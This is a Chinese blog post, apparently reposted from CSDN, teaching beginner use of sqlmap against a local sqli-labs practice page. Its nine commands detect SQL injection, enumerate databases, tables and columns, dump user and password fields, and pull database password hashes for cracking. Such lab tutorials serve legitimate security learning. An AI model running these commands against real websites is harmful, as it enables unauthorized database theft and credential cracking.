sqlmap入门实践

1.判断是否存在注入:
假设目标注入点是http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1,判断其是否存在注入的命令如下所示:

python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1

结果如下:
在这里插入图片描述

2.查询当前用户下的所有数据库:
该命令是确定网站啊存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限包含所有数据库列表信息的表,使用该命令就可以列出所有数据库:

python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --dbs

在这里插入图片描述
从图中发现,查询出了7个数据及所有数据库的库名。当继续注入时,- -dbs 缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据库。

3.获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下图所示。如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMAP会列出数据库中所有库的表名。

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa --tables

在这里插入图片描述
从图中可以看到dvwa数据库中有两个表名,当继续注入时, - -tables缩写成-T,意思时在某表中继续查询。

4.获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名,如图所示。

python sqlmap.py -u http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa -T users --columns

在这里插入图片描述
从图中可以看到dvwa数据库中的users表中一共有8个字段。在后续的注入中,- -columns缩写成C。

5.获取字段内容
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下图所示。

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 -D dvwa -T users -C user,password --dump

在这里插入图片描述

6.获取数据库中所有用户
该命令的作用是列出数据库的所有用户,如图所示,在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --users

在这里插入图片描述

7.获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如图所示。如果当前用户有读取包含用户密码的权限,sqlmap会列举出用户,然后列出Hash,并尝试破解。

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --passwords

在这里插入图片描述
可以看到root的password,密码使用mysql5加密,可以在www.cmd5.com中破解,图中密码直接破解了。

8.获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如图所示

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --current-db

在这里插入图片描述

9.获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户,如图所示。

python sqlmap.py -u 127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-1/?id=1 --current-user

在这里插入图片描述
看出用户是root

以上内容参考Web安全攻防渗透测试实战指南。

发布了71 篇原创文章 · 获赞 3 · 访问量 4044

猜你喜欢

转载自blog.csdn.net/zouchengzhi1021/article/details/104747387
今日推荐